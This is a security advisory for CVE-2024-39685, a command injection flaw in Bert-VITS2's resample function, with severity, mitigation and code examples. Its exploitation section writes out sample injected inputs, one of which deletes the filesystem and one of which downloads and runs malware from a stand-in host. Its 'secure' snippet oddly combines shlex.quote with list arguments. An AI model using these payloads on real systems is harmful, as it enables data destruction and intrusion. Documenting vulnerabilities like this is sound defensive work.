CVE-2024-39685
CVE-2024-39685
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
Bert-VITS2 is the VITS2 Backbone with multilingual bert. User input supplied to the data_dir variable is used directly in a command executed with subprocess.run(cmd, shell=True) in the resample function, which leads to arbitrary command execution. This affects fishaudio/Bert-VITS2 2.3 and earlier.
Comprehensive Technical Analysis of CVE-2024-39685
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2024-39685
Description:
The vulnerability in Bert-VITS2, a VITS2 Backbone with multilingual BERT, arises from the direct use of user input in the data_dir variable within a command executed by subprocess.run(cmd, shell=True) in the resample function. This leads to arbitrary command execution, a critical security risk.
CVSS Score: 9.8
Severity Evaluation: A CVSS score of 9.8 indicates a critical vulnerability. The high score is due to the potential for complete system compromise, including unauthorized access, data breaches, and system manipulation.
2. Potential Attack Vectors and Exploitation Methods
Attack Vectors:
- Command Injection: An attacker can inject malicious commands through the
data_dirvariable, which are then executed by the system. - Remote Code Execution (RCE): If the application is exposed to the internet, an attacker can remotely execute arbitrary commands on the server.
Exploitation Methods:
- Crafted Input: An attacker can supply specially crafted input to the
data_dirvariable, such as; rm -rf /or&& wget http://malicious.com/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware, to execute harmful commands. - Chaining Commands: By chaining commands, an attacker can perform multiple actions, such as downloading and executing malware, exfiltrating data, or modifying system configurations.
3. Affected Systems and Software Versions
Affected Software:
- fishaudio/Bert-VITS2 versions 2.3 and earlier.
Systems:
- Any system running the affected versions of Bert-VITS2, particularly those with internet exposure or user-supplied input for the
data_dirvariable.
4. Recommended Mitigation Strategies
Immediate Actions:
- Patching: Upgrade to a patched version of Bert-VITS2 that addresses this vulnerability.
- Input Sanitization: Ensure that all user inputs are properly sanitized and validated before being used in system commands.
- Disable Shell Execution: Avoid using
shell=Trueinsubprocess.run()unless absolutely necessary. If it must be used, ensure that the command string is constructed safely.
Long-Term Strategies:
- Code Review: Conduct thorough code reviews to identify and mitigate similar vulnerabilities.
- Security Training: Educate developers on secure coding practices, particularly around handling user inputs and executing system commands.
- Regular Updates: Keep all software dependencies up to date with the latest security patches.
5. Impact on Cybersecurity Landscape
Broader Implications:
- Supply Chain Risks: Vulnerabilities in open-source software can have cascading effects on the broader software ecosystem, affecting downstream applications and services.
- Increased Attack Surface: As more applications integrate AI and machine learning models, the attack surface expands, requiring vigilant security practices.
- Reputation and Trust: Organizations relying on vulnerable software risk reputational damage and loss of customer trust in the event of a breach.
6. Technical Details for Security Professionals
Vulnerable Code Snippet:
cmd = f"some_command {data_dir}"
subprocess.run(cmd, shell=True)
Secure Code Example:
import shlex
import subprocess
# Ensure data_dir is sanitized and validated
data_dir = shlex.quote(data_dir)
cmd = ["some_command", data_dir]
subprocess.run(cmd, shell=False)
Detection and Monitoring:
- Logging: Implement comprehensive logging to monitor and detect unusual command executions.
- Intrusion Detection Systems (IDS): Deploy IDS to identify and alert on suspicious activities, such as unexpected command executions.
- Regular Audits: Conduct regular security audits and penetration testing to identify and mitigate vulnerabilities proactively.
Conclusion: CVE-2024-39685 highlights the critical importance of secure coding practices, particularly around handling user inputs and executing system commands. Organizations must prioritize patching affected systems, implementing robust input validation, and maintaining vigilant security practices to mitigate such vulnerabilities effectively.